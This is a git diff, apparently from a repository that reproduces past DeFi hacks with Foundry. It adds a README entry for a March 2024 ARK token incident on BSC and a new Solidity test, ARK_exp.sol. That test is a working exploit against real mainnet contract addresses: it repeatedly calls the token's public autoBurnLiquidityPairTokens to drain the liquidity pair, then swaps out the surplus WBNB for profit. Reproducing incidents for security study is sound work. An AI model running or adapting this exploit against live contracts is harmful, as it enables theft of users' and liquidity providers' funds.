diff --git a/README.md b/README.md index 4625324c..dca8ff40 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ **Reproduce DeFi hack incidents using Foundry.** -373 incidents included. +374 incidents included. Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h) @@ -34,6 +34,8 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/ - Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) ) ## List of Past DeFi Incidents +[20240314 ARK](#20240324-ark---business-logic-flaw) + [20240321 SSS](#20240321-sss---token-balance-doubles-on-transfer-to-self) [20240314 MO](#20240314-mo---business-logic-flaw) @@ -823,6 +825,25 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/ forge test --contracts ./src/test/SSS_exp.sol -vvv ``` #### Contract + +### 20240324 ARK - business logic flaw + +### Lost: ~348BNB + +``` +forge test --contracts src/test/ARK_exp.sol -vvv +``` + +#### Contract + +[ARK_exp.sol](src/test/ARK_exp.sol) + +#### Link reference + +https://twitter.com/Phalcon_xyz/status/1771728823534375249 + +--- + [SSS_exp.sol](src/test/SSS_exp.sol) ### Link reference diff --git a/src/test/ARK_exp.sol b/src/test/ARK_exp.sol new file mode 100644 index 00000000..b7ebf2fd --- /dev/null +++ b/src/test/ARK_exp.sol @@ -0,0 +1,52 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./interface.sol"; + +// TX : https://phalcon.blocksec.com/explorer/tx/bsc/0xe8b0131fa14d0a96327f6b5690159ffa7650d66376db87366ba78d91f17cd677 +// GUY : https://twitter.com/Phalcon_xyz/status/1771728823534375249 +// Profit : ~348BNB +// REASON : business logic flaw + + +interface Ark is IERC20 { + function autoBurnLiquidityPairTokens() external; +} + + +contract ContractTest is Test { + IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c); + Ark constant ARK = Ark(0xde698B5BBb4A12DDf2261BbdF8e034af34399999); + Uni_Pair_V2 ARK_WBNB = Uni_Pair_V2(0xc0F54B8755DAF1Fd78933335EfCD761e3D5B4a6F); + Uni_Router_V2 router = Uni_Router_V2(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); + CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + function setUp() external { + cheats.createSelectFork("bsc", 37221235); + // explotier have + deal(address(WBNB), address(this), 100); + deal(address(ARK), address(this), 4 ether); + } + + function testExploit() external { + emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18); + uint i = 0; + while(i < 10000){ + ARK.autoBurnLiquidityPairTokens(); + if (ARK.balanceOf(address(ARK_WBNB)) < 1_700_000_000_000){ + break; + } + i ++ ; + } + WBNB.transfer(address(ARK_WBNB),100); + ARK.transfer(address(ARK_WBNB),ARK.balanceOf(address(this))); + (uint256 _reserve0,uint256 _reserve1 ,) = ARK_WBNB.getReserves(); + uint256 Ark_balance = ARK.balanceOf(address(ARK_WBNB)); + address[] memory path = new address[](2); + path[0] = address(ARK); + path[1] = address(WBNB); + uint256[] memory amountOut = router.getAmountsOut(Ark_balance - _reserve1,path); + ARK_WBNB.swap(amountOut[1],0,address(this),""); + emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18); + } +}